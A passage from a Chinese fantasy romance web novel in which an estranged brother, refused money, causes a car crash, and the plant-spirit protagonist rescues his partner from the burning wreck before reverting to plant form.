不是幻听的话,对面的人怎么会有这么厚的脸皮,说出这种话呢? 还说什么看在兄弟的情分上, 之前佘群逸可从没拿佘念当过亲兄弟, 这会倒知道利用这层血缘纽带来攀关系了。 关于佘氏的近况, 之前佘念曾听段闻洲聊起过,对其情况有大概的了解。 自从佘毅峰锒铛入狱之后, 整个佘家都在走下坡路,并且是以山崩的架势衰落。 草包一样的佘群逸毫无统领能力, 即使暂时坐上了负责人的位置,却完全没有实力带领佘家死而复生, 反而因为愚蠢的领导加速了死亡进度。 不仅没有填补上非法集资欠下的资金大窟窿, 还错误指挥停掉了一大批效益极佳的生产线, 以至于入不敷出。 如今的佘家, 可以说是危如累卵,距离破产只有一步之遥。 “段闻洲有那么多钱,他只需要分一小笔出来, 就可以帮到我们了。” 佘群逸哽了哽脖子, 咬牙说道。 实在是走投无路,他才不得不跑来拜托佘念帮忙, 因为眼下除了佘念以外, 他找不到任何人可以求助了。 曾经与佘家交好的狐朋狗友,此时早已对他避之不及,完全不肯伸出援手。 “你要多少?” “五个亿, 十个亿也行。” 闻言,佘念头顶冒出一个巨大的问号。 从未见过如此厚颜无耻之人,开口就要几个亿, 不知道的还以为几个亿是笔小钱呢。 噢好像对老公来说,这确实是笔小钱,但他们想得美。 “你在做梦还是我在做梦?” “我是认真的,只要给这一笔钱,让佘家能继续运转下去就够了。” 合着说的还是要,不是借,是谁给佘群逸的勇气跑来说这种话的? “你凭什么觉得我们会借给你?” 佘念嫌弃地扫了人一眼,向后避开一步。 “但凡你还有良心的话,只要想一想之前你是怎么对我的,你觉得我会帮你吗?” 话音落下,佘群逸的脸色肉眼可见地难看起来,咬紧了下唇,一声不吭。 ——显然,他也想起来了自己当年的所作所为。 “我……那我现在跟你说一句对不起。” 他咬咬牙,近乎屈辱地从唇间挤出了这句道歉。 对一向自视甚高的佘群逸来说,从来只有别人对他道歉的份,别说给别人认错了,他从来都不会觉得自己有错过。 而眼下,为了求人帮忙,他甚至给佘念道了歉,觉得自己都做到了这种地步,那总该能得到原谅了。 “我不接受。” 但是,对面的人却只冷冷地回答了这四个字。 “为什么?” 闻言,佘群逸的音调瞬间拔高,以为自己被耍了,语气里尽是难以置信。 随即,佘念轻嗤了一声,将手中拿着的饮料尽数泼向人。 陡然被淋了一脸,佘群逸先是一愣,紧接着破口大骂: “你有病?” “我先泼完你,再给你说对不起,你能接受吗?” “凭什么你给我道歉了,我就必须要原谅?” 看着人压抑的怒意,佘念双手叉腰,没好气地道。 ——这人根本不是意识到错了,而是知道自己要死了,才会这么轻飘飘地道个歉,以为就能就旧事翻过去。 他对原主犯下的那些错,远不是一句道歉就能一笔勾销的。 “我、我都道歉了,你还要我怎样?” 都肯弯腰认错,做了如此伤自尊的事了,居然还不行,这下佘群逸彻底撕破脸皮,装不下去了。 “我不过就是要你们借我一笔钱周转而已,这对你们来说不过就是小菜一碟吧,就连这样的忙都不肯帮吗?!” “佘念,你还记得你是佘家的人吗!” “可是,你们应该也从没有拿我当过佘家的人来看待。” 对视上佘念那双淡漠的视线,佘群逸算是明白了,今天自己是不可能达成目的了。 于是他破防了,直接原形毕露: “佘念,你嚣张什么,不过是攀上了段闻洲这棵大树,抱上了大腿而已。” “那你连抱大腿的对象都没有,不是更可怜吗?” 面对这样的指责,佘念却毫不在意,歪了歪头佯装可怜地说道。 我有大腿抱,你有吗! 你!没!有! “你——!你别得意,迟早有一天你也会被段闻洲给抛弃,不会有好日子的!” 破口大骂后,破防的佘群逸掉头就走。 有病一样,看着他离开的背影,佘念对人做了个鬼脸,小声低骂着。 回到顶楼的办公室以后,他把遇见佘群逸这件事告诉了段闻洲。 闻言,段闻洲若有所思地点点头,表示会多留意佘家那边的举动,防止他背地里对佘念打击报复。 对于这样的小插曲,佘念也没放在心上,第二天就将其抛之脑后,继续着如常生活。 不过在后来,他经常会接到来自陌生号码的电话,接通发现是佘群逸打来的。 目的无外乎还是要借钱。 当然,每次不待人开口,佘念就毫不犹豫地挂断拉黑一条龙。 等到拉黑的号码足够多后,大概佘群逸也知道彻底没戏了,渐渐地不再联系。 从段闻洲那里佘念听说了佘家的最新消息,由于资金窟窿完全填补不上,公司亏损严重,佘氏集团已于近日彻底宣告破产。 某种角度上,这也算是天道好轮回吧。 佘家那群人作恶多端,这是他们应得的。 ———— 城中村某个狭窄的出租屋内,墙皮剥落,灯光昏暗,潮湿得墙角都有蘑菇冒出。 在这样简陋的条件下,凌乱肮脏的书桌前摆放着电脑,屏幕散发出幽幽荧光,照在对面人瘦削又凹陷的脸颊上。 而在电脑屏幕上,网页上显示的正是最新一组佘念拍摄的写真照。 照片里的人光彩夺目,仿佛散发着光芒的太阳一样,不由自主地吸引了所有人的目光。 “佘念……都是你把我害到这个地步的……” “我要让你付出代价,和我一起下地狱吧。” 死死盯着照片上的人,屏幕前的佘群逸猛地攥紧了拳,将后槽牙咬得咯咯作响,眼中满是恨意。 ———— “好累啊——” 佘念向后靠在汽车座椅上,打了个大大的哈欠,眼角有泪花溢出,看样子是累急了。 “你可以先睡会,到家还需要一点时间。” 见状,正在开车的段闻洲勾了勾嘴角。 “不行,我要陪你的。” 说着佘念揉了揉眼睛,努力打起精神。 此时已经是深夜十一点,而两人之所以这个时间段还在外面,是因为今天正是赴宴参加慈善晚会的日子。 ——上周,xx公司的谢总有邀请段闻洲前来参加今晚的宴会。 这场慈善晚宴的地点被安排在山顶别墅中,离市区有一定距离,需要经过盘山公路才能下山。 深夜的公路上人迹罕至,只有清辉的月光冷清地撒在路面,风穿梭在周围的草木间,婆娑起舞的影子有些吓人,仿佛随时会有阴暗的东西从其中蹿出。 在这样的路面上开车是很危险的,所以即使佘念很困很困,但也强打着精神,不停地同段闻洲说话,让他也不要犯困。 忽然间,段闻洲抬眸看了看车内后视镜,眉头一皱。 “怎么了老公?” 注意到人脸色有变,佘念问道。 “后面的车有点奇怪。” 段闻洲的目光紧盯着后方跟随行驶的车,隐约觉得不太对劲。 因为在这个时间段,这条路应该只有参加慈善晚会的人才会经过,但由于两人是提前退场,没有参加后半场的酒会,所以段闻洲清楚地是记得,离场时是没有其他人的。 换言之,后面的车辆并不是晚宴的人。 那会是谁呢? 不参加晚宴,却出现在这条公路上,并且跟随着自己的车辆下山。 眉头蹙了蹙,段闻洲悄悄降低了车速,并向右侧车道避让。 果然,那辆车不仅没有要超车的意思,反而同步降低了速度,保持着跟车的举动。 ——很明显,车上的人是冲着两人来的。 想到这,段闻洲皱了皱眉,眉目间闪过一抹警觉。 “佘念,抓紧。” 随着他话音落下,油门猛地被踩下,车辆以极快的速度向前驶去,试图摆脱掉老鼠般藏在暗地里的跟踪者。 在惯性的作用下,佘念的身体陡然向后倒去,吓得他立刻抓住扶手稳住身形。 他向后探头看去,只见后面的车也紧跟着加速起来,犹如狗皮膏药似的,怎么也甩不掉。 大概是意识到自己被发现,那辆车也索性不再装了,速度急速提升,似乎是想将两人的车别停。 两辆车在盘山公路上你追我赶,当行驶到半山坡的路段时,段闻洲猛然想起这一段公路是监控盲区。 也就是说,后车在这里出手的可能性极大。 但偏偏这段路急转弯很多,即使想加速甩开跟踪者都做不到,段闻洲稳住方向盘,为了安全不得已降低了些许速度。 后方的车辆见状,却反而继续加大了油门,并且也不再准备拦下他们,而是直接奔着其方向撞来。 嘭——。 伴随着一身巨大的声响,以及轮胎与地面刺耳的尖锐摩擦声,车辆被撞到了车身的位置,在瞬间方向失控,向着山崖边缘冲去。 公路围栏被冲破,硕大的车辆犹如玩具一样摇摇晃晃,失重坠向崖底。 在失去平衡的瞬间,佘念感觉到自己被段闻洲一把抱住,护在了怀中。 他下意识抬头看去,正好从缝隙中,与崖边下车而立的人对视上目光。 透过清冷的月光,他看清了那人的身影。 ——是佘群逸。 黑夜中,他看见佘群逸用口型说道: “你们,去-死-吧。” 第92章 天旋地转的摇晃, 剧烈的冲击,以及刺耳的巨响。 整个人仿佛被丢进了滚筒洗衣机里来回翻搅,大脑头晕目眩, 眼前一片漆黑, 完全失去了意识。 不知过了多久, 佘念缓缓地睁开了沉重的眼皮。 在意识回笼的瞬间,他只觉得浑身像是散架一样的疼, 喉咙里犹如火烧一样,干哑疼痛, 令他发不出一丝声音。 坠崖前看见佘群逸的画面还在脑海中挥之不去,他万万没想到佘群逸居然会下此狠手, 在走投无路之时干出这种丧心病狂的事来。 大概, 他还是太低估人心的黑暗了。 “老公……” 佘念扭动着僵硬生疼的脖子偏头看去, 想关心人的状况如何, 但在看清身边的景象时他瞳孔骤缩,话头硬生生刹住。 只见身旁的段闻洲两眼紧闭,已经昏迷过去, 鲜血糊满了他的脸颊, 一直向下流淌着,凌乱的鬓发和着血糊成了一片, 黏在脸上。 不单单是脸庞, 就连身体上都满是鲜血,方才还妥帖穿在身上的西装,此时已经是一片狼藉不堪, 哪还有半分曾经绅士的模样。 即使伤成这样,但他的胳膊却依然有力地环抱住佘念,将人紧紧护在怀中, 没有让其受到一丁点伤害。 除了数不清的小伤外,最让人不忍直视的伤口,是一根径直插入人身体内的钢管。 ——那根钢管贯穿了段闻洲胸腔的位置,似乎扎穿了心脏。 “老公,你醒醒……” 看着眼前的画面,佘念只觉浑身的血液都凝固了,全身止不住地颤抖着,就连说出的话都带着明显的颤音。 泪珠溢出眼角,他吸了吸鼻子,颤着手去抚摸人的脸颊。 在感受手心的温度,发现人还有呼吸时,他喜极而泣,眼泪忍不住一下子就决堤溢出了眼角。 而当与人皮肤相贴时,他才隐约察觉到,段闻洲体内有一股熟悉的能量波动。 ——这股力量,好像是来自自己的法力。 忽然间佘念想起来之前生日时,自己送给段闻洲的那枚手作项链。 他立刻查看起人的胸前,果然发现其脖子上挂着自己送的那条项链。 只不过其中的叶片已经消失,唯有剔透的玻璃还留在黑绳上。 项链里封着的,正是自己的本体叶片,具有一小部分自己的法力。 想必在方才的生死一刻,段闻洲用身体保护住了自己,而在被钢筋贯穿的瞬间,正是项链中的本体起到了治愈作用,护住了人的心脏。 简直可以说是不幸中的万幸。 想到这,佘念后怕极了,同时也有几分庆幸。 他将法力注入段闻洲的体内,试探着拔出了那根钢筋。 果然人身上因钢筋造成的致命伤口已经完全恢复,受伤的位置完好如初,连鲜血的痕迹都不见,只有衣服上的破洞记录着方才发生过什么。 本来还想帮人治好身上其他的小伤,但眼下当务之急是先从车内出去,佘念观察了一圈四周,辨认出两人现在是在山崖底。 好在这处盘山公路地势并不高,坡度也并不陡峭,所以当车坠崖时两人才得以幸存,没有丢掉性命。 佘念奋力,向上推开己侧变形的车门,艰难地爬出了车内。 只见在撞击的作用下,整辆豪车已经彻底报废,破损得不能看,车身的部分凹陷下去,险些就要被拦腰砍断。 由于车辆是以侧翻的姿势坠落的,所以对于副驾驶的佘念来说很轻松就能爬出,但反观下方驾驶位的段闻洲,就没有那么容易了。 环顾四周看了看,佘念找来一块大石头砸碎了前挡风玻璃,又使劲浑身解数将副驾驶座的车门踹开,试图开辟出一个更大的出口,好将段闻洲拉出来。 他又喊了好几声段闻洲的名字,但依然没有得到回应。 试着将人向外拉了拉,可依然纹丝不动,这时佘念才发现人被安全带给困住了,于是只好重新钻回车内,摸索着试图解开护住人身体安全带。 由于此时的车内一片狼藉,所有的设备都完全变形,又有安全气囊的阻隔,佘念花了好一会功夫才摸到了安全带所在的位置。 等他好不容易解开,把段闻洲拉到副驾驶的位置时,却又面临另一个难题。 那就是,他发现段闻洲的腿被卡住了。 不管怎么拉,都不能把人全部拖出车外,佘念着急起来了。 大概是忙中出错,他这才后知后觉想起现在应该打电话报警,可刚掏出手机,却又发现崖底没有信号。 没办法了,只能靠自己营救。 于是佘念继续尝试将人救出,并且一边救人,一边将自己的法力输送进人体内,甚至再次对人施加了最后一次妖精的赐福,以保佑段闻洲平平安安。 得益于之前泡温泉的那次经历,小蛇舌草的修为有所提升,治疗人的效率也提升不少,不然以他从前的实力,恐怕在心脏被钢筋贯穿的情况下,是肯定护不住段闻洲的。 渐渐地,段闻洲身上大大小小的伤口都痊愈,脱离了生命危险。 如果不是身上衣物浸透了血迹的话,恐怕谁来都看不出来他受伤过。 由于两人的体型差距悬殊,佘念急得额间满是细密的汗珠,不停地用力向外拽人,但收效甚微。 就在他绞尽脑汁想办法时,鼻尖却突然闻到了一股奇怪的味道。 ——似乎是汽油。 他猛地回头看去,只见车位的部位已经有汽油漏出,并且有些微的火光冒出。 这就意味着必须立刻远离车辆,否则很快便会起火燃爆,凶猛的火势一遇到汽油就很容易失控。 看见那刺眼的火光,佘念只觉得恍若已经置身火海,浓烈的火舌席卷皮肤表面,浓烟滚滚铺面而来,高得吓人的温度灼得他剧痛难忍。 作为一株植物,如此近距离地接触烈焰,对火的恐惧从心底涌起,令他不寒而栗,害怕得无法动弹,仿佛身体都不受控,连伸手都做不到。 他咕咚咽了咽口水,在余光瞥见仍然受困的段闻洲后,霎时间才如梦初醒,迅速回过神来。 ——必须得加快进度才行,撞车后的燃烧速度会极快,很快就会烧得只剩车架,如果不尽快将老公救出来的话,后果不堪设想。 努力使自己镇定下来后,佘念咬牙蹲下身查看起人被卡住的腿,发现是被变形的方向盘挤压住了。 于是他拿过车内一根掉落的钢筋充当杠杆,试图撬开。 手指用力得骨节都在发白,但依然纹丝不动,佘念急得汗都下来了,咬紧牙关发力,心里不停在祈祷一定要成功。 火苗越蹿越大,短短的半分钟就已经完全吞噬了车尾,用不了多久恐怕就会蔓延过来,处在车头的位置,佘念能感觉到周围的温度在渐渐上升。 这样炽热的触感激发了身体的应激性,握着钢筋的手在大幅度颤抖,他深呼吸一口气,努力使自己镇定下来,救人的欲望战胜了心底的恐惧。 哪怕是自己受伤或者死掉,都必须救出段闻洲。 在车子滚落山崖的瞬间,段闻洲的第一反应都是紧紧护住自己,把自己保护得一点伤都没受,可他本人却伤得如此严重。 眼下如果自己保护不了他的话,哪还有什么颜面活下去? 来到人类社会后,给予自己幸福、温暖和支撑的是段闻洲,教会自己如何立足的也是段闻洲。 这样一个对自己很重要的人,自己就算豁出性命也要救回他。 眼眸中闪过一抹坚定,佘念施展出全部法力化作屏障,护在段闻洲的全身,以保护他免受火焰的侵蚀。 这是一场与时间赛跑的自救,是火焰跑过救人的速度,还是人能跑过死神的速度。 火势逐渐加大,变得不可控起来,已经烧到车头的位置,站在副驾驶的佘念已经能感受到被灼烧的热感,整个人仿佛被架在烤架上一样,热浪滚滚,白嫩的皮肤表面被火舌舔过,传来了疼痛感。 只要一抬眼,他便能捕捉到赫人的火光,艳红刺眼,尖锐得宛如直刺面门的剑,一刀刀剜在肉上。 像是浪花一样,一束火苗忽地向前蹿来,烧着了人的衣角,留下黑色的灰烬空洞。浓烟与刺鼻的气味席卷而来,呛得肺部生疼。 心理恐惧与生理疼痛交织,险些要让佘念脚软跪倒在地。 但是,老公还被困在车上…… 必须加快动作…… 一定要救出老公…… 一定—— 他大喝一声,克服了恐惧,全身发力,再次猛地撬起钢筋。 或许是上天眷顾,这一次障碍物终于有了松动,脚下的空间扩大了几分。 见状,佘念立刻抓住机会,一把拽住了段闻洲,将人从驾驶位上拖了出来。 说时迟那时快,就在两人离开车内的瞬间,火焰遇上了汽油,在顷刻间剧烈膨胀,化为了滔天烈焰,将整辆车吞噬。 但凡再晚一秒,两人都难逃一劫。 两人重重地摔倒在地上,直到这时佘念才发现自己的后背已经被冷汗浸透,手颤抖得不像话,根本无法冷静下来。 虽然段闻洲还处在昏迷之中,但好在身上的伤口都被法术全部治愈,外加还有屏障的庇护,在刚才的过程中一点伤也没受。 而反观佘念,在刚才的救援过程中皮肤上多出了好几处割伤和烧伤,鲜血染红了衣物,除了体力透支外,浑身上下的法力也用尽,累得动弹不得。 他用尽最后一丝力气靠近段闻洲,紧紧握住了人的手,本能地想要继续输送法力给他。 终于,佘念再也支撑不住,闭上眼昏了过去。 眼前的世界陷入昏暗,在昏迷的前一秒,他瞥见了上方警灯闪烁的光亮。 第93章 当段闻洲醒来时, 已经是两天后。 一睁开眼,映入眼帘的便是白花花的天花板,鼻尖还萦绕着消毒水刺鼻的气味。 这里, 是医院? 他转动着滞涩的大脑, 缓缓地辨认着眼下的情形。 记忆还停留在车翻滚下山崖的那刻, 当时自己只顾护着佘念,霎时天旋地转, 然后就什么都记不得了。 为什么一醒来,就来到了医院? 等等, 佘念呢?他有没有受伤? 想到这,段闻洲猛地瞪大了眼, 试探着想坐起身来。但大概是身体太虚的缘故, 他完全动弹不得, 看似用尽全力, 实际只是动了动手指。 而这样微弱的举动立刻被守在病床边的人留意到,瞬间有好几人围了上来。 段闻洲定睛一看,认出是爸妈和祁宁等几位好友。 “闻洲, 你醒了?” “儿子, 你感觉怎么样?还有没有不舒服的地方?” 见他苏醒,于秋柳泪眼汪汪地看来, 眼睛已经又红又肿, 想必是哭过一轮了。 连一向内敛的段风华都红了眼眶。 “我……” 闻言,段闻洲刚想开口,但嗓子干得像是有火烧一样, 一句话都说不出来。 “来来,先喝口水。” 见状祁宁连忙转身给他倒水,陆远修和贺扬慢慢地扶着人坐起身来。 喝下水后, 嗓间的干涩得到了缓解,歇了片刻,段闻洲才感到意识回笼。 “你终于醒了,昏迷了整整两天,都快把我们和阿姨叔叔他们吓死了。” 祁宁扶着胸口,后怕地道。 “佘念呢?” 扫视了一圈四周,并没有发现小朋友的身影,段闻洲悬起的心始终没有放下。 “小念他……他在隔壁病房休养呢,你要不要也再躺下休息一会?” 听见这个问题,段母段父互相对视一眼,脸上有一抹难色转瞬即逝,随即恢复如初,故作轻松地回答。 “我去看看他——” 说着,段闻洲想下床,却被众人齐齐拦住,重新按回了床上。 “那个,不急,你先等等呗……啊医生来给你检查了。” 恰好这时医生进入了病房,像是抓到救命稻草一样,祁宁连忙把医生请到床边,岔开了话题。 “……真是让人惊讶,车祸从山崖上滚下,你除了轻微脑震荡外,身体居然没有受到一点伤害,不管是外伤和内伤都没有。” 给人又重新检查了一遍身体,拿着检查结果,医生讶异不已,啧啧称奇。 按理来说,这种程度的车祸,再幸运也会受到些许皮外伤,而这位患者居然毫发无损,简直是难以置信。 外伤都没有? 可是自己怎么依稀记得,翻车时有一根钢筋贯穿了胸膛? 段闻洲怔怔地低头查看,确实没有在身上发现任何伤口和疤痕。 段父段母几人跟医生反复确认了结果,确定真的没有任何问题后,才稍稍安下心来。 “再住院观察个两三天就能出院了。” 说完,医生便离开了。 “万幸,简直是上天保佑。” 得知儿子一切健康,段母担忧多日的心终于放下,脱力般地靠倒在段风华的身上,将头埋进人的胸前,哽咽着感慨道。 “太好了,老段你真是福大命大。” 好友们也庆幸道。 相比于众人的激动,当事人段闻洲反倒淡定得多。 他垂下眼眸思索着,其中神色晦暗不明,心中隐约似乎有了某种预感。 “妈,佘念呢?” “小念他,在隔壁病房呢……” 见人又要起身下床,于秋柳叹了一口气,没再劝阻,在场的众人也都没有阻拦他的意思。 大概也是知道,某些事是拦不住了。 瞧见大家的反应,段闻洲其实已经大概猜到了可能的结果,在祁宁的领路下,他来到了另一处病房。 这间病房就在隔壁,与自己的床位一墙之隔。 此时正好有一名护工,在悉心照顾病床上的人,见大家到来,便自觉地先退开。 ——而病床上闭眼躺着的,正是佘念。 即使已经有所预料,但当亲眼看到这幅画面时,段闻洲还是呼吸一滞,大脑短暂地缺氧片刻,眩晕袭来,叫他险些站不稳身形,下意识扶住了门框。 一时间,在场的所有人连呼吸都放轻了,悬着一颗心凝视着眼前的画面,谁都不敢先一步出声,打破这份宁静。 只见段闻洲木木地上前,就连他本人都不知道,自己是如何靠近,如何来到病床边的。 病床上的佘念紧闭着双眼,就那么静静地躺在那,如果忽略掉人脸上的绷带和苍白脸色的话,还以为他只是睡着了。 他的脸上、身上都缠着大大小小的绷带,手背上还吊着点滴,仔细一瞧便能发现,这些主要的外伤并不是利器所造成的割伤,更像是被火灼出的烧伤。 床上的人嘴唇青紫,皮肤呈现出病态的白皙,仿佛瓷娃娃一样易碎。 “佘念?” 段闻洲蹲下身来,轻声唤着人的名字。 可沉睡中的人却没有回应。 即使再次呼唤,回答他的也只有沉默。 “那个,佘念他暂时还没有醒过来。” 见状,祁宁咽了咽口水,紧张地上前一步,小声提醒着,同时不停地观察人的表情,担心他因此产生极大的情绪波动。 可让人意外的是,段闻洲没有任何夸张的动作,却只是缓缓地站起身来,面无表情地开口: “他伤势如何,大概什么时候能醒来?” “这……” 得亏这时医生来查房,这个棘手的问题不用祁宁回答,他迅速向医生投去求救的目光。 “病人在车祸中受的主要是外伤,其中烧伤最为严重,胳膊、小腿等地方的皮肤都有被火焰灼烧的痕迹。” “其实伤情并不致命,按理来说不会沉睡这么久,至于为什么一直没有醒过来……具体的昏迷原因我们还要再会诊一下。” “请问,他大概多久能醒过来?” “这个,我们也不敢肯定,运气好可能今天就能醒,运气不好的话或许一直醒不过来……所以我们也不敢贸然下定论。” 向医生道过谢后,段闻洲抿紧了下唇,一言不发,视线牢牢地落在病床上的人身上。 虽然面无表情,但是周身的气压低得吓人。 “闻洲,你也大病初愈,先回病房休息一会,小念这边我们会照顾的。” 还是段父率先开口,出声让人回去。 “爸,我没事,我想在这里陪一陪佘念,你们先回去吧,不用担心我。” 设身处地一下,看见爱人躺在病床上昏迷不醒,任谁都不可能冷静下来,段父段母无奈地叹了一口气,选择了先离开病房,把独处的空间留给两人。 “这段时间公司的事就交给我,你好好在医院休养,顺便照顾好小念。” 出门前,段父拍了拍人的肩膀,语重心长地叮嘱道。 贺扬和陆远修也跟随着出了病房,祁宁本也准备离开,但顿了顿,最终又停下了脚步,回头看来: “对了,车祸的真相已经查清楚了,是佘群逸干的,他已经被警方抓获了。” 原来,在佘家正式宣告破产后,佘群逸一夜从顶峰跌入尘埃,少爷身份不再,还背负上了巨额债务。 由于身份落差悬殊,外加当时得不到佘念的帮助,所以他便将自己落魄的原因尽数归结到佘念和段闻洲的身上,认为是他们害了自己,记恨起来。 于是乎,走投无路的他便制造了这场蓄意谋杀。 ——他提前在别墅外等候,并尾随人至急弯的下坡路段,伺机撞车令人坠崖。 好在晚宴后来离场的人下山时路过此地,发现了护栏的异样和崖底的火光后,便迅速报警,两人这才得救,被紧急送往医院。 如今佘群逸已经逮捕归案,待移交审判机关后,也将面临牢狱之灾。 听完祁宁所说的内容后,段闻洲的脸色依然是淡淡的,只是点了一下头,表示知道了。 ——他并不在乎佘群逸的事,只要了解结果就好,因为现在的他没有余力去关注具体过程。 他现在所有的心思都在佘念的身上。 看见自己兄弟这丢了魂的样子,祁宁无奈地叹了口气,也不再多言,走之前替人带上了病房门。 偌大的病房里,此时只剩下了佘念和段闻洲两人。 独自坐在病床边,段闻洲再也压抑不住心底的伤痛,维持出的冷静瞬间变得支离破碎。 他握住人的手,低下头去,浑身都在战栗轻颤,暴露出脆弱的一面。 佘念的手不似从前光滑白嫩,手心里尽是被烫出来的水泡,白皙的胳膊上也缠满绷带,覆盖着其下烧伤的皮肤。 虽然在坠下山崖后就失去了意识,但是毫无疑问,这些伤一定是为了救自己才受的。 据刚才祁宁所说,警方和医护人员找到他们时,两人都躺在车外的地面上,并且佘念还紧紧握住自己的手,怎么都不肯松开。 既然自己陷入了昏迷,那毫无疑问是佘念将自己从车子里拉出来的。 不敢想象,就连打火机的火苗都会害怕的小朋友,是如何从燃烧的车中把自己救出来的。 面对那么大的火势,当时的他心里会在想什么? 被火焰烧伤时,他又在想什么? 段闻洲承认,当听见医生说佘念甚至有可能醒不过来时,他的心脏都停跳了一拍。 只是略加设想了一下这个可能,他便觉得心脏仿佛被一只手生生扼住,疼得撕心裂肺。 完全不愿,也完全不敢想象佘念会离开自己,他在潜意识里早已默认,这个活泼的、可爱的又黏人的小朋友会一直陪在自己身侧。 直到永远。 段闻洲忽然觉得,觉得从前的自己太过胆小。 打着冠冕堂皇的理由拒绝了佘念的表白,美其名曰不敢耽误人,可到头来才发现,自己有可能要永远错过这个机会了。 曾经的机会摆在跟前却不知道珍惜,要是能从头来过,自己一定毫不犹豫地答应小朋友的表白。 “……佘念,我也喜欢你的,你不许丢下我。” 他的嗓音带着明显的颤抖,其中的脆弱溢于言表。 “等你醒来,我们就在一起,好不好?” 第94章 因为两人住的都是单人间VIP病房, 所以不能转到同一间病房,但段闻洲几乎全天都会待在佘念的病房内。 除了接替护工的任务亲自照顾人外,他大部分的时间就只是静静地坐在那, 握住人的手, 自说自话地同人分享着琐碎的话题。 即使得不到回应, 但他还是会一如既往地陪着人,正如曾经佘念做的那样。 可日子一天天地过去, 佘念始终没有醒来的迹象。 即使请来了全国各领域最顶尖的专家会诊过多次,可依然找不到人昏迷的原因。 到了第五天时, 段闻洲照旧在大清早就来到了佘念的病房。 但是让他吃惊的是,今天的病床却是空的, 没有人躺在上面。 他心下一惊, 在询问过护士得知佘念今天并没有检查后, 心脏更是漏跳一拍, 内心的不安忽然加剧。 ——如果说佘念醒了过来的话,他为什么不乖乖待在床上?如果说还未苏醒的话,为什么病床上会不见人的踪迹? 无数个猜测涌上心底, 段闻洲没来由地慌乱起来, 着急忙慌地冲到监控室内,让人调出了昨晚到今早的监控。 更让人意外的是, 监控画面显示, 从昨晚开始佘念的病房就没有其他人进出过,更别提佘念本人的身影。 房门口没有人进出,难道是通过其他的途径离开的病房? 于是调取的监控范围扩展到更大, 几乎将医院内所有的监控画面都查看了一遍,可就是没有发现佘念的踪迹。 一个病房里昏迷的大活人,还能在医院凭空消失不成? 段闻洲的脸色阴沉起来, 吓得监控室的保安大气都不敢出。 盯着监控画面抿唇沉思,他沉默了片刻,紧接着又掉头大步回了佘念的病房。 病房内一片寂静,仿佛从没有人来过,只有风悄然从被打开的窗户中钻进,掀起窗帘的一角。 除此之外,房间内的一切好像都没有变化。 窗户边没有留下任何痕迹,首先排除了人是走窗户离开的设想,于是段闻洲又来到了床边的位置。 病床上的被子都还是昨晚离开时的模样,平整地铺在床上,就连被角都没有掀开。 忽然间,脑海里闪过一个奇怪的猜想,段闻洲愣了愣,随即伸手,一把掀开被子。 ——洁白整洁的病床上,此时被子下静静地躺着一颗绿植。 那株绿色的植物叶片又细又长,稀稀疏疏地分布在根茎四周,似乎是缺乏营养,叶片无力地向下耷拉,不仅不够葱绿,表面还呈现出病态的黄斑。 除了叶片外,植物的最上方还有一朵白色的小花。 看着那朵花,段闻洲的脑海里福至心灵地,联想起了在温泉那次看到的佘念头顶的白花。 那朵白花,好像与眼前这朵一模一样。 不仅如此,包括小朋友送给自己当做生日礼物的那束花,再加那条作为生日礼物的项链里面所放着的绿叶,都与眼前这株植物完全一致。 不管是花,还是叶片,都能对上。 还记得陆远修说过,这种植物的学名叫作蛇舌草。 段闻洲想将项链从病号服的口袋里掏出查看,直到这时他这才发现玻璃中包裹的植物居然消失不见了。 这条项链是由玻璃做成的,在烧制时提前将叶片放至内里,而如今玻璃表面连一丝裂缝都没有,里面的物品却不翼而飞。 按理来说,这是不可能做到的。 又想起曾经佘念会对着植物说是自己的好朋友,会想解救人参的举动,忽然间,段闻洲有了一个大胆的猜测。 会不会,眼前这株蛇舌草,就是佘念? 就在他沉思时,得知患者失踪的院长慌慌张张地赶到病房,吓得满头大汗。 ——要知道,这两位可都是医院的重点观察对象和VIP客户,要是在医院内出岔子了,那可怎么向董事长交代。 “那、那个,小段总,我这就再让人深入排查一下监控,一定会找到佘念先生的去向。” 他战战兢兢地擦着汗同人保证,却被段闻洲打断。 “不必了,抱歉其中可能有些误会,今天的事多有麻烦,请当做没有发生过。” 一边歉意地说道,他一边不动声色地将床上的蛇舌草揣进口袋中,佯装无事发生地离开病房。 徒留一脸懵逼的院长在原地不知所措。 ———— 第二天,段闻洲瞒着所有人,办理了自己和佘念的出院手续,独自回到了郊区的那栋别墅。 对外宣称要静养,他谢绝了所有人的探望,就连父母和好友都同样婉拒了。 “爸,妈,您二老别担心,我带着佘念回家休养了,因为他最讨厌医院,所以我想着在熟悉的环境里可能他会更放松。” 安抚好了父母,让长辈们不要担心后,段闻洲这才结束了通话。 挂断了电话后,他黯然垂下眼眸,瞳孔中闪过复杂的情愫。 他瞥了一眼阳台上的那盆植物,心中百感交集。 要是让其他人知道他在别墅内干了什么,恐怕都会觉得他是不是脑子撞傻了。 因为,段闻洲在家全身心地种草。 种的便是那株在病床上发现的蛇舌草。 他找来一个宽敞又精致的花盆,将那株蛇舌草移植至其中,每天精心为其浇水施肥,尽心尽力地打理。 在他的细心照顾下,蔫头耷脑的蛇舌草渐渐恢复了生机,在慢慢好转,叶片变回了绿油油,连枝干都繁茂了几分。 明明是个无神论者,但不知为什么,段闻洲总觉得这株蛇舌草,就是佘念。 他也说不清这样认定的原因,但直觉告诉他就是如此。 或许等到植物彻底康复,也就是小朋友完全恢复的那天,两人便能再次见面。 届时,一切谜团都能解开了。 ———— 佘念只觉得,自己好像做了一个很长很长的梦。 梦境中的自己漫游在无边无际的黑暗中,逃不掉,也跑不走。 深邃的黑暗仿佛无尽的深渊,束缚住了他的脚步,将其困在一个牢笼之中。 伸手不见五指,一丝一毫的光亮都不曾见到过,周身也没有任何参照物,佘念就这么漫无目的地向前走着。 既没有目的地,也没有来路。 是想要走去哪里呢?为什么要一直往前走呢? 有人在等我吗?还是说我在寻找什么? 就在他精疲力尽跌坐在地时,忽然脚下的漆黑化作了一个无形的大洞。 身体陡然失重,跌落进下方的无底洞,一阵天旋地转之后,当佘念再次睁开眼,却发现周围的景象发生了翻天覆地的变化。 由刚才暗无天日的环境,陡然转变成了植被茂密的山林中。 绿草如茵,树木葱茏,鸟啼声如同清脆的风铃,在森林上空响起,这是一片没有任何人类踏足痕迹的地方,全是原生态的自然环境。 直到这时,佘念才恍惚地回想起来,自己似乎是一株蛇舌草来着。 而这里,正是他土生土长的地方。 不同于森林中其他的植物,自己在一次偶然的机缘巧合下开化成精,有了灵智,只要修行得当,或许在日后觅得时机,就有可能化作人型。 成了妖精,那便有了自己的元神,此时的佘念刚成精不久,正处在神识状态。 